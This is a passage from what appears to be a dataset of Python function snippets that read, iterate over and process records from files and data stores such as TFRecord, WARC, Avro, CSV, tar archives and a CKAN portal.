iter(tf.data.TFRecordDataset(tf_record_file_names, compression_type='').take(MAX_SAMP))\n\n # Run the computation !\n with tqdm_joblib(tqdm(desc=\"My calculation\", total=MAX_SAMP)) as progress_bar:\n results = Parallel(n_jobs=-1)(\n delayed(_process_single)(data) for data in dataset_it\n )","def process_all():\n\tfiles = os.listdir('records')\n\tfiles = [file for file in files if file not in ('.DS_Store','old')]\n\tattr_list = []\n\tcorpus = []\n\tsentences = []\n\tcorp_set = set()\n\tfor file in files:\n\t\twith open('records/'+file) as f:\n\t\t\tattr_list, corpus, sentences = proc_file(f,file,corpus,attr_list,corp_set,sentences)\n\treturn attr_list,corpus,sentences","def _collect(self, conll_directory) -> Iterator[Any]:\n logging.info(\"Reading .conll from %s\", conll_directory)\n return dataset_path_iterator(conll_directory, self.configs.file_ext)","def test_iterator(self):\n with open(get_test_file('example-iana.org-chunked.warc'), 'rb') as fh:\n with closing(ArchiveIterator(fh)) as a:\n for record in a:\n assert record.rec_type == 'warcinfo'\n break\n\n record = next(a)\n assert record.rec_type == 'response'\n\n for record in a:\n assert record.rec_type == 'request'\n break\n\n with pytest.raises(StopIteration):\n record = next(a)\n\n assert a.record == None\n assert a.reader == None\n assert a.read_to_end() == None","def run(self):\n\t\tdf_iter = self.file_to_df(50000)\n\t\tdf_airport = self.airport_file_to_df()\n\t\tfor df in df_iter: # type: pd.DataFrame\n\t\t\tdf.drop_duplicates(inplace=True)\n\t\t\tdf = self.transform(df, df_airport)\n\n\t\t\tdf_result = self.get_only_new_records(\n\t\t\t\tdf=df,\n\t\t\t\tdf_columns=self.join_columns,\n\t\t\t\ttable_columns=self.join_columns\n\t\t\t)\n\n\t\t\tif len(df_result) > 0:\n\t\t\t\t# df_result.drop(self.table_columns, axis=1)\n\n\t\t\t\tself.save(\n\t\t\t\t\tdf=df_result,\n\t\t\t\t\ttable_name=\"travel_dimension\",\n\t\t\t\t\tdf_columns=self.table_columns,\n\t\t\t\t\ttable_colums=self.table_columns\n\t\t\t\t)","def getAllFileRecordsIter(fs_name):\n files = None\n session = Queries.createSession()\n try:\n fs_db = session.execute(sqlalchemy.select([FileSpace]).where(FileSpace.storage_name == fs_name)).fetchone()\n catalog = session.execute(sqlalchemy.select([Catalog]).where(Catalog.fs_id == fs_db.id)).fetchone()\n files = session.query(FileTable).filter_by(catalog_id=catalog.id)\n except sqlalchemy.exc.ArgumentError:\n print 'SQLAlchemy ERROR: Invalid or conflicting function argument is supplied'\n except sqlalchemy.exc.CompileError:\n print 'SQLAlchemy ERROR: Error occurs during SQL compilation'\n finally:\n session.close()\n return files","def paw_file(filename):\n with open(filename) as infile:\n i = 0\n while True:\n try:\n print(\"i: \" + str(i))\n time, data = read_frame(infile)\n yield time, data\n except StopIteration:\n break","def read_job(self):\n for jobname in self.job:\n for line in self.job[jobname]:\n self.eval_statement(line)","def carve(self, payload, **kwargs):\n\n results = None\n\n # Let's make this a file object to simplify our seeks\n payload = BytesIO(payload)\n payload.seek(0)\n\n for start, end in self.carve_payload(self.headers, payload):\n swf = self.decompress(payload, start)\n if swf:\n # If results are None, let's ensure it is a list\n # so we can store our result set()\n if not results:\n results = []\n\n results.append(swf)\n\n return results","def read_and_serialize(job_path):\n\n sc_data = GeneMatrix(job_path)\n\n sc_data.apply_preprocessing()\n\n worker_path = join(job_path, 'TF_records')\n os.makedirs(worker_path, exist_ok=True)\n\n cat = sc_data.sc_raw.obs['cluster'].cat.categories\n with TFRFWriter(worker_path, categories=cat) as writer:\n for line in sc_data.sc_raw:\n sc_genes, d = process_line(line)\n\n # print in TF records\n writer.write_numpy(sc_genes, d.barcode, d.count_no,\n d.genes_no, d.dset, d.cluster)\n\n return 'done with writing for: ' + job_path","def s3_process(self, payload, classifier):\n s3_file_lines = StreamPreParsers.pre_parse_s3(payload.raw_record)\n for line in s3_file_lines:\n data = line.rstrip()\n payload.refresh_record(data)\n self.process_alerts(classifier, payload, data)","def _lenex_sub_process(filename, profiles):\n # Print progress\n print('Processing file: {}'.format(filename))\n\n # Get event data\n data = results.FileLenex(filename, profiles)\n\n # Get XML filenames\n meet_results = data.allresults_csv(stage=None)\n return meet_results","def __iter__(self):\n for line in self._fp:\n row = line.decode(\"utf-8\").split(\"\\t\")\n yield row[1], row[2], row[3], json.loads(row[4])['weight']","def iterator(dataset_fn, sections=None, lang=None, field_indices=None):\n files = filelist(lang=lang, sections=sections)\n\n with TarFile.open(dataset_fn, 'r:gz') as f:\n for member in f:\n if member.isfile() and os.path.basename(member.name) in files:\n logging.info('parsing %s ...' % member.name)\n m_f = f.extractfile(member)\n\n for sentence in parse_conll(m_f, field_indices=field_indices):\n yield sentence\n\n m_f.close()","def _worker():\n try:\n logger.info('Looping...')\n temp_list = []\n for file in ['data_unfcc.csv','data_ebal.csv']:\n temp_list.append(os.path.isfile(file))\n if not all(temp_list):\n print('Starting from scratch...')\n download_source()\n create_database()\n create_index()\n\n time_mod = datetime.strptime(time.ctime(os.stat('data_ebal.csv').st_mtime),'%a %b %d %H:%M:%S %Y')\n time_now = datetime.now()\n\n if (time_now - time_mod).seconds > 3600:\n download_source()\n get_updated_records('unfcc')\n get_updated_records('ebal')\n create_index()\n except Exception as e:\n logger.warning('Main Loop error')","def handle(event, context):\r\n for record in event.get('Records', []):\r\n payload = json.loads(base64.b64decode(record[\"kinesis\"][\"data\"]))\r\n LOGGER.info('Payload: %s', payload)\r\n key_name = get_key_name(payload)\r\n app_slug, uuid_folder, file_name = get_key_details(key_name)\r\n if not app_slug or not file_name:\r\n return event\r\n\r\n response = DYNAMO.get_item(\r\n TableName='FilesToPipelines',\r\n Key={\r\n 'App': {'S': app_slug},\r\n 'File': {'S': file_name}\r\n },\r\n ProjectionExpression='Pipeline')\r\n if 'Item' not in response:\r\n LOGGER.info('Could not file pipeline for %s', key_name)\r\n return\r\n if not response['Item'].get('Pipeline'):\r\n LOGGER.info('Could not file pipeline for %s: Got %s',\r\n key_name, response)\r\n return\r\n\r\n pipeline = response['Item']['Pipeline'][\"S\"]\r\n response = LAMBDA.invoke_async(\r\n FunctionName=pipeline,\r\n InvokeArgs=json.dumps({\r\n 'trigger': 'evented',\r\n 'uuid': uuid_folder\r\n })\r\n )\r\n LOGGER.debug(response)\r\n LOGGER.info('Executed %s on %s', pipeline, uuid_folder)","def result(self, timeout_sec: int = DEFAULT_TIMEOUT_SEC):\n uris = self.get_avro_files(timeout_sec)\n for file_uri in uris:\n if file_uri.scheme == \"gs\":\n file_obj = tempfile.TemporaryFile()\n self.storage_client.download_blob_to_file(file_uri.geturl(), file_obj)\n elif file_uri.scheme == \"file\":\n file_obj = open(file_uri.path, \"rb\")\n else:\n raise Exception(\n f\"Could not identify file URI {file_uri}. Only gs:// and file:// supported\"\n )\n\n file_obj.seek(0)\n avro_reader = fastavro.reader(file_obj)\n\n for record in avro_reader:\n yield record","def _write_local_data_files(self, cursor):\n org_schema = [schema_tuple[0] for schema_tuple in cursor.description]\n schema = [column for column in org_schema if column not in self.exclude_columns]\n\n col_type_dict = self._get_col_type_dict()\n file_no = 0\n file_mime_type = self._get_file_mime_type()\n file_to_upload, tmp_file_handle = self._get_file_to_upload(file_mime_type, file_no)\n\n if self.export_format == \"csv\":\n csv_writer = self._configure_csv_file(tmp_file_handle, schema)\n if self.export_format == \"parquet\":\n parquet_schema = self._convert_parquet_schema(cursor)\n parquet_writer = self._configure_parquet_file(tmp_file_handle, parquet_schema)\n rows_buffer = []\n\n prev_partition_values = None\n curr_partition_values = None\n for row in cursor:\n if self.partition_columns:\n row_dict = dict(zip(schema, row))\n curr_partition_values = tuple(\n [row_dict.get(partition_column, \"\") for partition_column in self.partition_columns]\n )\n\n if prev_partition_values is None:\n # We haven't set prev_partition_values before. Set to current\n prev_partition_values = curr_partition_values\n\n elif prev_partition_values != curr_partition_values:\n # If the partition values differ, write the current local file out\n # Yield first before we write the current record\n file_no += 1\n\n if self.export_format == \"parquet\":\n # Write out the remaining rows in the buffer\n if rows_buffer:\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\n rows_buffer = []\n parquet_writer.close()\n\n file_to_upload[\"partition_values\"] = prev_partition_values\n yield file_to_upload\n file_to_upload, tmp_file_handle = self._get_file_to_upload(file_mime_type, file_no)\n if self.export_format == \"csv\":\n csv_writer = self._configure_csv_file(tmp_file_handle, schema)\n if self.export_format == \"parquet\":\n parquet_writer = self._configure_parquet_file(tmp_file_handle, parquet_schema)\n\n # Reset previous to current after writing out the file\n prev_partition_values = curr_partition_values\n\n # Incrementing file_row_count after partition yield ensures all rows are written\n file_to_upload[\"file_row_count\"] += 1\n\n # Proceed to write the row to the localfile\n if self.export_format == \"csv\":\n row = self.convert_types(schema, col_type_dict, row)\n if self.null_marker is not None:\n row = [value if value is not None else self.null_marker for value in row]\n csv_writer.writerow(row)\n elif self.export_format == \"parquet\":\n row = self.convert_types(schema, col_type_dict, row)\n if self.null_marker is not None:\n row = [value if value is not None else self.null_marker for value in row]\n rows_buffer.append(row)\n if len(rows_buffer) >= self.parquet_row_group_size:\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\n rows_buffer = []\n else:\n row = self.convert_types(schema, col_type_dict, row)\n row_dict = dict(zip(schema, row))\n\n json.dump(row_dict, tmp_file_handle, sort_keys=True, ensure_ascii=False)\n\n # Append newline to make dumps BigQuery compatible.\n tmp_file_handle.write(\"\\n\")\n\n # Stop if the file exceeds the file size limit.\n fppos = tmp_file_handle.tell()\n tmp_file_handle.seek(0, os.SEEK_END)\n file_size = tmp_file_handle.tell()\n tmp_file_handle.seek(fppos, os.SEEK_SET)\n\n if file_size >= self.approx_max_file_size_bytes:\n file_no += 1\n\n if self.export_format == \"parquet\":\n # Write out the remaining rows in the buffer\n if rows_buffer:\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\n rows_buffer = []\n parquet_writer.close()\n\n file_to_upload[\"partition_values\"] = curr_partition_values\n yield file_to_upload\n file_to_upload, tmp_file_handle = self._get_file_to_upload(file_mime_type, file_no)\n if self.export_format == \"csv\":\n csv_writer = self._configure_csv_file(tmp_file_handle, schema)\n if self.export_format == \"parquet\":\n parquet_writer = self._configure_parquet_file(tmp_file_handle, parquet_schema)\n\n if self.export_format == \"parquet\":\n # Write out the remaining rows in the buffer\n if rows_buffer:\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\n rows_buffer = []\n parquet_writer.close()\n # Last file may have 0 rows, don't yield if empty\n # However, if it is the first file and self.write_on_empty is True, then yield to write an empty file\n if file_to_upload[\"file_row_count\"] > 0 or (file_no == 0 and self.write_on_empty):\n file_to_upload[\"partition_values\"] = curr_partition_values\n yield file_to_upload","def read_in_chunks(self):\n chunksize = 10 ** 3\n lines_number = sum(1 for line in open(self.filepath))\n self.progressMaximum.emit(lines_number // chunksize)\n dfList = []\n\n # self.df = traja.read_file(\n # str(filepath),\n # index_col=\"time_stamps_vec\",\n # parse_dates=[\"time_stamps_vec\"],\n # )\n\n TextFileReader = pd.read_csv(\n self.filepath,\n index_col=\"time_stamps_vec\",\n parse_dates=[\"time_stamps_vec\"],\n chunksize=chunksize,\n )\n for idx, df in enumerate(TextFileReader):\n df.index = pd.to_datetime(df.index, format=\"%Y-%m-%d %H:%M:%S:%f\")\n dfList.append(df)\n self.intReady.emit(idx)\n self.completed.emit(dfList)\n self.finished.emit()","def enumerate_records(self, table):\n for i in range(self.nrofrecords()):\n data = self.bank.readrec(i + 1)\n if data and data[0] == table.tableid:\n try:\n yield Record(i + 1, table.fields, data[1:])\n except EOFError:\n print(\"Record %d too short: -- %s\" % (i+1, ashex(data)), file=stderr)\n except Exception as e:\n print(\"Record %d broken: ERROR '%s' -- %s\" % (i+1, e, ashex(data)), file=stderr)","def runDataExtraction():\r\n config = CONFIG['steps']['DataExtraction']\r\n ci = config['inputs']\r\n co = config['outputs']\r\n columns = ci['columns']\r\n nrows = ci['nrows']\r\n input_bucket = ci['bucket']\r\n no_of_files = ci['no_of_files']\r\n\r\n output_bucket = co['bucket']\r\n csv_name_prefix = co['csv_name_prefix']\r\n\r\n minio_config = CONFIG['artifacts']['minio']\r\n minioClient = create_minio_client(minio_config[\"endpoint_url\"],\r\n access_key=minio_config[\"access_key\"],\r\n secret_key=minio_config[\"secret_key\"],\r\n secure=minio_config['secure'])\r\n\r\n boto_client = boto3.client(\"s3\",\r\n endpoint_url=minio_config[\"endpoint_url\"],\r\n aws_access_key_id=minio_config[\"access_key\"],\r\n aws_secret_access_key=minio_config[\"secret_key\"],\r\n region_name=minio_config[\"region_name\"])\r\n\r\n zip_files = get_files(input_bucket, boto_client, file_type='zip')\r\n\r\n no_of_files_to_process = no_of_files if no_of_files is not None else len(\r\n zip_files)\r\n for zip_file in tqdm(zip_files[:no_of_files_to_process], total=no_of_files_to_process):\r\n process_file(zip_file, input_bucket, output_bucket, minioClient, columns,\r\n nrows=nrows, output_csv_name_prefix=csv_name_prefix)","def __iter__(self):\r\n try:\r\n dup_fp = self._fp.dup()\r\n except self._fp.Error:\r\n log.error('Failed to dup %r' % self._fp)\r\n return\r\n\r\n try:\r\n while True:\r\n blob = RecordIO.Reader.do_read(dup_fp, self._codec)\r\n if blob:\r\n yield blob\r\n else:\r\n break\r\n finally:\r\n dup_fp.close()","def doImport(self, params):\n #logging.info(params.filename)\n raw_data = self.open_filename(params.filename)\n #logging.info('file open ok')\n data = self.split_to_blocks(raw_data)\n #logging.info('splitting ok')\n chromatograms = self.process_data_to_chromatograms(data)\n #logging.info('extract ok')\n \n processed_data = []\n \n zero = params.field_results[\"zero\"]\n MIC = params.field_results[\"MIC\"]\n TIC = params.field_results[\"TIC\"]\n round_MZ = params.field_results[\"round_MZ\"]\n \n for chrom in chromatograms:\n \n prefix = chrom['short_title']\n if (\".\" in prefix) and round_MZ:\n first,last = prefix.split('.')\n prefix = first\n \n if (\"MIC\" in prefix) and (not MIC):\n pass\n elif (\"TIC\" in prefix) and (not TIC):\n pass\n else:\n x = ImportDataset1D(name=prefix+'_time',data = chrom['time'])\n if zero:\n y = ImportDataset1D(name=prefix+'_signal',data = chrom['signal_zero'])\n else:\n y = ImportDataset1D(name=prefix+'_signal',data = chrom['signal'])\n processed_data.append(x)\n processed_data.append(y)\n \n return processed_data","def process(self, element, bucket):\n mirror, chunk_name = element\n logging.info('USERLOG: Download data dump %s to store in cloud storage.', chunk_name)\n # Download data dump from Wikipedia and upload to cloud storage.\n url = mirror + \"/\" + chunk_name\n write_path = path.join('gs://', bucket, chunk_name)\n urllib.urlretrieve(url, chunk_name)\n os.system(\"gsutil cp {chunk} {filepath}\".format(chunk=chunk_name, filepath=write_path))\n os.system(\"rm {chunk}\".format(chunk=chunk_name))\n yield chunk_name\n return","def _record_iterator(self):\n\n # Alias these values so the code won't need to keep performing\n # attribute lookups on `self` (small optimization)\n stream = self.stream\n sync_marker = self._sync_marker\n writer_schema = self.writer_schema\n reader_schema = self.reader_schema\n\n # Get the block decoder\n if self.codec == 'deflate':\n read_block = deflate_read_block\n elif self.codec == 'snappy':\n read_block = snappy_read_block\n else:\n read_block = null_read_block\n\n block_buf = BytesIO()\n\n try:\n while True:\n block_count = read_long(stream)\n read_block(stream, block_buf)\n\n for i in xrange(block_count):\n yield read_data(block_buf, writer_schema, reader_schema)\n\n skip_sync(stream, sync_marker)\n\n except EOFError:\n pass\n finally:\n block_buf.close()","def walk_csv(self, filepath: str):\n with open(filepath, encoding='ISO-8859-1') as f:\n reader = csv.DictReader(f)\n for row in reader:\n logger.debug('Loading map {}'.format(row.get('id', None)))\n yield row","def read_data(self, path, **kwargs):\n\n from glob import glob\n import os\n sc = self.sc\n pdt_lc = np.dtype([('pos', 'f4', 3),('vel', 'f4', 3)])\n\n blockids = kwargs['blockids']\n\n def set_particle_IDs_partition(index, iterator): \n \"\"\"\n Use the aggregate partition counts to set monotonically increasing \n particle indices\n \"\"\"\n p_counts = partition_counts.value\n local_index = 0\n start_index = sum([p_counts[i] for i in range(index)])\n for arr in iterator:\n arr['iOrder'] = range(start_index + local_index, start_index + local_index + len(arr))\n arr['iGroup'] = loc_to_glob_map_b.value[index]\n local_index += len(arr)\n yield arr\n \n def read_file(index, i, chunksize=102400): \n for part,filename in i:\n timein = time.time()\n with open(filename,'rb') as f: \n header = f.read(62500)\n while True:\n chunk = f.read(chunksize*24)\n if len(chunk): \n p_arr = np.frombuffer(chunk, pdt_lc)\n new_arr = np.zeros(len(p_arr), dtype=pdt)\n new_arr['pos'] = p_arr['pos']\n yield new_arr\n else: \n t_elapsed = time.time()-timein\n rate = os.path.getsize(filename)/1e6/t_elapsed\n print 'spark_fof: reading %s took %d seconds in partition %d, %f MB/sec'%(filename, t_elapsed, index, rate)\n break\n \n # determine which files to read\n get_block_ids = re.compile('blk\\.(\\d+)\\.(\\d+)\\.(\\d+)?')\n\n if blockids is None: \n files = glob(os.path.join(self.path,'*/*'))\n else: \n files = []\n for dirname, subdirlist, filelist in os.walk(path):\n try: \n dirnum = int(os.path.basename(dirname))\n if dirnum in blockids: \n for f in filelist:\n ids = get_block_ids.findall(f)\n if len(ids) > 0:\n if all(int(x) in blockids for x in ids[0]):\n files.append(os.path.join(dirname,f))\n except ValueError: \n pass\n\n files.sort()\n nfiles = len(files) \n self.nPartitions = nfiles\n\n print 'spark_fof: Number of input files: ', nfiles\n\n # get particle counts per partition\n nparts = {i:_get_nparts(filename,62500,pdt_lc.itemsize) for i,filename in enumerate(files)}\n\n print 'spark_fof: Total number of particles: ', np.array(nparts.values()).sum()\n \n # set up the map from x,y,z to partition id \n ids = map(lambda x: tuple(map(int, get_block_ids.findall(x)[0])), files)\n ids_map = {x:i for i,x in enumerate(ids)}\n self.ids_map = ids_map\n loc_to_glob_map_b = self.local_to_global_map\n \n ids_map_b = sc.broadcast(ids_map)\n loc_to_glob_map_b = sc.broadcast(loc_to_glob_map_b)\n\n partition_counts = sc.broadcast(nparts)\n\n rec_rdd = (sc.parallelize(zip(ids,files), numSlices=self.nPartitions)\n .map(lambda (id,filename): (ids_map_b.value[id],filename))\n .partitionBy(self.nPartitions).cache()\n .mapPartitionsWithIndex(read_file, preservesPartitioning=True)\n .mapPartitionsWithIndex(set_particle_IDs_partition, \n preservesPartitioning=True))\n \n return rec_rdd","def tfrecord_iterator(\n data_path: str,\n index_path: typing.Optional[str] = None,\n shard: typing.Optional[typing.Tuple[int, int]] = None,\n compression_type: typing.Optional[str] = None,\n) -> typing.Iterable[memoryview]:\n if compression_type == \"gzip\":\n file = gzip.open(data_path, \"rb\")\n elif compression_type is None:\n file = io.open(data_path, \"rb\")\n else:\n raise ValueError(\"compression_type should be either 'gzip' or None\")\n length_bytes = bytearray(8)\n crc_bytes = bytearray(4)\n datum_bytes = bytearray(1024 * 1024)\n\n def read_records(start_offset=None, end_offset=None):\n nonlocal length_bytes, crc_bytes, datum_bytes\n\n if start_offset is not None:\n file.seek(start_offset)\n if end_offset is None:\n end_offset = os.path.getsize(data_path)\n while file.tell() < end_offset:\n if file.readinto(length_bytes) != 8:\n raise RuntimeError(\"Failed to read the record size.\")\n if file.readinto(crc_bytes) != 4:\n raise RuntimeError(\"Failed to read the start token.\")\n length, = struct.unpack(\"<Q\", length_bytes)\n if length > len(datum_bytes):\n datum_bytes = datum_bytes.zfill(int(length * 1.5))\n datum_bytes_view = memoryview(datum_bytes)[:length]\n if file.readinto(datum_bytes_view) != length:\n raise RuntimeError(\"Failed to read the record.\")\n if file.readinto(crc_bytes) != 4:\n raise RuntimeError(\"Failed to read the end token.\")\n yield datum_bytes_view\n\n if index_path is None:\n yield from read_records()\n else:\n index = np.loadtxt(index_path, dtype=np.int64)[:, 0]\n if shard is None:\n offset = np.random.choice(index)\n yield from read_records(offset)\n yield from read_records(0, offset)\n else:\n num_records = len(index)\n shard_idx, shard_count = shard\n start_index = (num_records * shard_idx) // shard_count\n end_index = (num_records * (shard_idx + 1)) // shard_count\n start_byte = index[start_index]\n end_byte = index[end_index] if end_index < num_records else None\n yield from read_records(start_byte, end_byte)\n\n file.close()","def process_data(cur, conn, filepath, func):\n \n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n \n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n \n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))","def _extractor(ims, klas, cold=Colds.txt, abort=False):\n while True:\n try:\n if cold == Colds.txt:\n return klas(qb64b=ims, strip=True)\n elif cold == Colds.bny:\n return klas(qb2=ims, strip=True)\n else:\n raise kering.ColdStartError(\"Invalid stream state cold={}.\".format(cold))\n except kering.ShortageError as ex:\n if abort: # pipelined pre-collects full frame before extracting\n raise # bad pipelined frame so abort by raising error\n yield","def __iter__(self):\n with mzid.read(str(self.filename)) as reader:\n for spectrum in reader:\n # Check if RT is encoded in spectrum metadata\n if \"retention time\" in spectrum:\n self._spectrum_rt_key = \"retention time\"\n elif \"scan start time\" in spectrum:\n self._spectrum_rt_key = \"scan start time\"\n else:\n self._spectrum_rt_key = None\n # Parse PSM non-metadata keys, rt key, and score key\n self._get_non_metadata_keys(spectrum[\"SpectrumIdentificationItem\"][0].keys())\n break\n\n for spectrum in reader:\n # Parse spectrum metadata\n spectrum_id = spectrum[\"spectrumID\"]\n spectrum_title = (\n spectrum[\"spectrum title\"] if \"spectrum title\" in spectrum else None\n )\n run = Path(spectrum[\"location\"]).stem if \"location\" in spectrum else None\n rt = float(spectrum[self._spectrum_rt_key]) if self._spectrum_rt_key else None\n\n # Parse PSMs from spectrum\n for entry in spectrum[\"SpectrumIdentificationItem\"]:\n yield self._get_peptide_spectrum_match(\n spectrum_id, spectrum_title, run, rt, entry\n )","def process_data(cursor, connection, filepath, function):\n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n function(cursor, datafile)\n connection.commit()\n print('{}/{} files processed.'.format(i, num_files))","def iter_Periodicals(fname, log_every=500):\n doc_id = 0\n with tarfile.open(fname, 'r:gz') as tf:\n for file_number, file_info in enumerate(tf):\n if file_info.isfile():\n if log_every and doc_id % log_every == 0:\n logging.info(\"extracting file #%i: %s\" % (doc_id, file_info.name))\n title = file_info.name[2:]\n content = tf.extractfile(file_info).read()\n yield title, doc_id, process_page(content)\n doc_id += 1","def redshift_loader(spark, tbname, tmpdir):\n print(\"Loading files from Redshift table: %s\" % tbname)\n filelist = spark.read \\\n .format(\"com.databricks.spark.redshift\") \\\n .option(\"url\", __credential__.jdbc_accessible_host_redshift) \\\n .option(\"forward_spark_s3_credentials\", True) \\\n .option(\"dbtable\", tbname) \\\n .option(\"tempdir\", \"s3n://gdcdata/%s\" % tmpdir) \\\n .load()\n return filelist","def run(self):\n print('#' + '\\t'.join(OutputRecord.get_header_fields()),\n file=self.args.output_tsv)\n for chunk in chunk_by_query(self.sam_file, expand_xa=True):\n #print('STARTING CHUNK', file=sys.stderr)\n if not chunk:\n continue # ignore empty chunks\n self.handle_chunk(chunk)","def runjob(job):\n inputfiles = glob.glob(job['InputFile'])\n logecho(' %s file/s found for %s: ' %\n (len(inputfiles), job['InputFile']))\n\n # process files, order by most recent\n inputfiles.sort(key=os.path.getmtime, reverse=True)\n for inputfile in inputfiles:\n inputfile_error = False\n inputfile_errordetails = ''\n t1_startdt = datetime.now()\n starttime = t1_startdt.strftime('%Y-%m-%d %H:%M:%S')\n t1_start = perf_counter()\n dupecount = 0\n dupesremoved = 0\n resource_id = ''\n\n logecho(' Processing: %s...' % inputfile)\n\n def custom_date_parser(x): return dateparser.parse(\n x, date_formats=dateformats_list)\n\n df = pd.read_csv(inputfile, parse_dates=[\n datecolumn], date_parser=custom_date_parser,\n skipinitialspace=True)\n\n if job['Dedupe']:\n pkey_list = list(job['PrimaryKey'].split(','))\n\n # first, count number of dupe rows for logging\n dupecount = df.duplicated(subset=pkey_list, keep='first').sum()\n\n dedupe_flag = job['Dedupe']\n if dedupe_flag == 'first' or dedupe_flag == 'last':\n df.drop_duplicates(\n subset=pkey_list, keep=dedupe_flag, inplace=True)\n dupesremoved = dupecount\n\n colname_list = df.columns.tolist()\n\n coltype_list = []\n for column in df:\n coltype_list.append(get_col_dtype(df[column]))\n\n fields_dictlist = []\n for i in range(0, len(colname_list)):\n fields_dictlist.append({\n \"id\": colname_list[i],\n \"type\": coltype_list[i][0]\n })\n if coltype_list[i][0] == 'timestamp':\n df[colname_list[i]] = df[colname_list[i]].astype(str)\n\n logecho('FIELDS_DICTLIST: %s' % fields_dictlist, level='debug')\n\n data_dict = df.to_dict(orient='records')\n\n # check if resource exists\n # this works only when TargetResource is an existing\n # resource id hash\n try:\n resource = portal.action.resource_show(\n id=job['TargetResource'])\n except:\n logecho(' Resource \"%s\" is not a resource id.' %\n job['TargetResource'])\n resource = ''\n else:\n existing_resource_desc = resource['description']\n\n if not resource:\n # resource doesn't exist. Check if package exists\n try:\n package = portal.action.package_show(\n id=job['TargetPackage'])\n except:\n package = ''\n\n if not package:\n # package doesn't exist. Create it\n # first, check if TargetOrg exist\n logecho(' Creating package \"%s\"...' %\n job['TargetPackage'])\n\n if not (job['TargetOrg'] in org_list):\n errmsg = 'TargetOrg \"%s\" does not exist!' % job['TargetOrg']\n logecho(errmsg, level='error')\n sys.exit(errmsg)\n\n try:\n package = portal.action.package_create(\n name=job['TargetPackage'],\n private=False,\n owner_org=job['TargetOrg']\n )\n except Exception as e:\n logecho(' Cannot create package \"%s\"!' %\n job['TargetPackage'], level='error')\n inputfile_error = True\n inputfile_errordetails = str(e)\n package = ''\n else:\n logecho(' Created package \"%s\"...' %\n job['TargetPackage'])\n else:\n logecho(' Package \"%s\" found...' % job['TargetPackage'])\n\n logecho('PACKAGE: %s\\n\\nFIELDS: %s' %\n (package, fields_dictlist), level='debug')\n # logecho('RECORDS: %s\\n' % data_dict, level='debug')\n\n # now check if resource name already exists in package\n resource_exists = False\n existing_resource_desc = ''\n resources = package.get('resources')\n for resource in resources:\n if resource['name'] == job['TargetResource']:\n resource_exists = True\n existing_resource_desc = resource['description']\n resource_id = resource['id']\n break\n\n #resource_id = ''\n if package and resource_exists:\n\n if job['Truncate']:\n try:\n result = portal.action.datastore_delete(\n resource_id=resource['id'],\n force=True\n )\n except Exception as e:\n logecho(' Truncate failed',\n level='error')\n inputfile_error = True\n inputfile_errordetails = str(e)\n\n logecho(' \"%s\" (%s) exists in package \"%s\". Doing datastore_upsert...' % (\n job['TargetResource'], resource['id'], job['TargetPackage']))\n try:\n result = portal.action.datastore_upsert(\n force=True,\n resource_id=resource['id'],\n records=data_dict,\n method='upsert',\n calculate_record_count=True\n )\n except Exception as e:\n logecho(' Upsert failed', level='error')\n inputfile_error = True\n inputfile_errordetails = str(e)\n else:\n logecho(' Upsert successful! %s rows...' %\n len(data_dict))\n #resource_id = result['resource_id']\n #resource_id = resource['id']\n else:\n logecho(' \"%s\" does not exist in package \"%s\". Doing datastore_create...' % (\n job['TargetResource'], job['TargetPackage']))\n\n alias = '%s-%s-%s' % (job['TargetOrg'],\n job['TargetPackage'], job['TargetResource'])\n resource = {\n \"package_id\": package['id'],\n \"format\": \"csv\",\n \"name\": job['TargetResource']\n }\n try:\n resource = portal.action.datastore_create(\n force=True,\n resource=resource,\n aliases='',\n fields=fields_dictlist,\n records=data_dict,\n primary_key=job['PrimaryKey'],\n indexes=job['PrimaryKey'],\n calculate_record_count=False\n )\n except Exception as e:\n logecho(' Cannot create resource \"%s\"!' %\n job['TargetResource'], level='error')\n inputfile_error = True\n inputfile_errordetails = str(e)\n else:\n logecho(' Created resource \"%s\"...' %\n job['TargetResource'])\n resource_id = resource['resource_id']\n resource = portal.action.datastore_create(\n force=True,\n resource_id=resource_id,\n aliases=alias,\n calculate_record_count=True\n )\n\n logecho('EXISTING DESC for resource %s: %s' %\n (resource_id, existing_resource_desc), level='debug')\n updated_desc = ''\n if existing_resource_desc:\n result = re.split(r' \\(UPDATED: (.*?)\\)$',\n existing_resource_desc)\n if len(result) == 3:\n # there is an old update date\n updated_desc = result[0]\n else:\n updated_desc = existing_resource_desc\n updated_desc = updated_desc + ' (UPDATED: %s)' % starttime\n logecho('RESOURCE UPDATED DESC: %s: %s' %\n (resource_id, updated_desc), level='debug')\n portal.action.resource_update(\n id=resource_id,\n description=updated_desc)\n\n logecho('RESOURCE: %s' % resource, level='debug')\n\n if job['Stats'] and resource_id:\n logecho(' Computing stats...')\n result = computestats(\n job['Stats'], job['PrimaryKey'], package, resource_id, job['TargetResource'],\n starttime)\n\n t1_stop = perf_counter()\n t1_stopdt = datetime.now()\n endtime = t1_stopdt.strftime('%Y-%m-%d %H:%M:%S')\n elapsed = t1_stop - t1_start\n\n if inputfile_error:\n # inputfile processing failed, move to problemsdir\n try:\n shutil.move(inputfile, problemsdir + '/' +\n os.path.basename(inputfile))\n except Exception as e:\n errmsg = 'Cannot move %s to %s: %s' % (\n inputfile, problemsdir, str(e))\n logecho(errmsg, level='error')\n problems_logger.error(errmsg)\n\n error_details = '- FILE: %s START: %s END: %s ELAPSED: %s DUPES: %s/%s ERRMSG: %s' % (\n inputfile, starttime, endtime, elapsed, dupecount, dupesremoved, inputfile_errordetails)\n problems_logger.info(error_details)\n else:\n # inputfile was successfully processed, move to processeddir\n try:\n shutil.move(inputfile, processeddir + '/' +\n os.path.basename(inputfile))\n except Exception as e:\n errmsg = 'Cannot move %s to %s: %s' % 